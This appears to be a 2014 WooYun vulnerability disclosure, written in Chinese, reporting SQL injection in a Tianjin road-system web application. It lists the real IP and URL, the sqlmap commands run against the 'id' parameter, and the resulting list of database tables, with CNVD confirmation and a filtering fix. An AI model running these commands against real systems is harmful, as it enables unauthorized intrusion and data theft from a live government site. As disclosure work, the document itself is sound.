乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-27: 细节已通知厂商并且等待厂商处理中 2014-05-30: 厂商已经确认,细节仅向厂商公开 2014-06-09: 细节向核心白帽子及相关领域专家公开 2014-06-19: 细节向普通白帽子公开 2014-06-29: 细节向实习白帽子公开 2014-07-11: 细节向公众公开
天津市某公路系统SQL注入
问题url:http://60.30.83.134:8088/govAManage.do?type=zcfg_info&id=Pol2013050813460721&index=1
sqlmap -u "http://60.30.83.134:8088/govAManage.do?type=zcfg_info&id=Pol2013050813460721&index=1" -p "id"
列个数据库
sqlmap -u "http://60.30.83.134:8088/govAManage.do?type=zcfg_info&id=Pol2013050813460721&index=1" -p "id" --dbs
当前数据库
sqlmap -u "http://60.30.83.134:8088/govAManage.do?type=zcfg_info&id=Pol2013050813460721&index=1" -p "id" --current-db
列个表
Database: TT [77 tables]+------------------+| ABOUTWWW || APPOINT_USER || APPOINT_USER_HIS || ARRAY || ATTACHMENT || BIDFILEAPPROVE || BIDINFO || BIDSEGINFO || BIDTYPEINFO || BYINFO || CL00000001 || CL00000002 || CL00000003 || CL00000004 || CL00000005 || CL00000005_SUB || CL00000006 || CL00000007 || CL00000008 || CL00000009 || CL05000001 || CL05000002 || CL05000003 || CL07000001 || CL07000002 || CL07000002_SUB || CL07000003 || CL07000003_SUB || CL08000001 || CL08000002 || CL08000002_SUB || CL08000003 || CL08000003_SUB || CL08000004 || CL09000001 || CL09000002 || CL09000002_SUB || CL09000003 || CL09000003_SUB || CL10000001 || CL10000002 || CL10000002_SUB || CL10000003 || CL10000003_SUB || CL20000001 || CL20000002 || CL20000002_SUB || CL20000003 || CL20000003_SUB || CREDIT_RESULT || ENROLLINFO || ENROLL_DBGC || ENROLL_ZYRY || ENROLL_ZYRYYJ || ENROLL_ZZXX || ERP_PERSON || ERP_PERSON_SUB || ERP_PERSON_ZZ || IBIDNOTICE || INFOLOAD || PJ_ACTIONUP || PJ_BAD_BEHAVIOR || PJ_INDICATOR || PJ_INDTYPE || PJ_NUM || PJ_TEMPLATE || POLICIES || PROJECT || SB_NUM || SEGEXPERTREG || TZSNOTICE || USERS || USERS_PRIVATE || USER_ROLE || WBIDNOTICE || WBIDNOTICE_SUB || WORKSTATE |+------------------+
如上
参数过滤
危害等级:高
漏洞Rank:10
确认时间:2014-05-30 17:47
CNVD确认并复现所述情况,转由CNCERT下发天津分中心通报处置。
暂无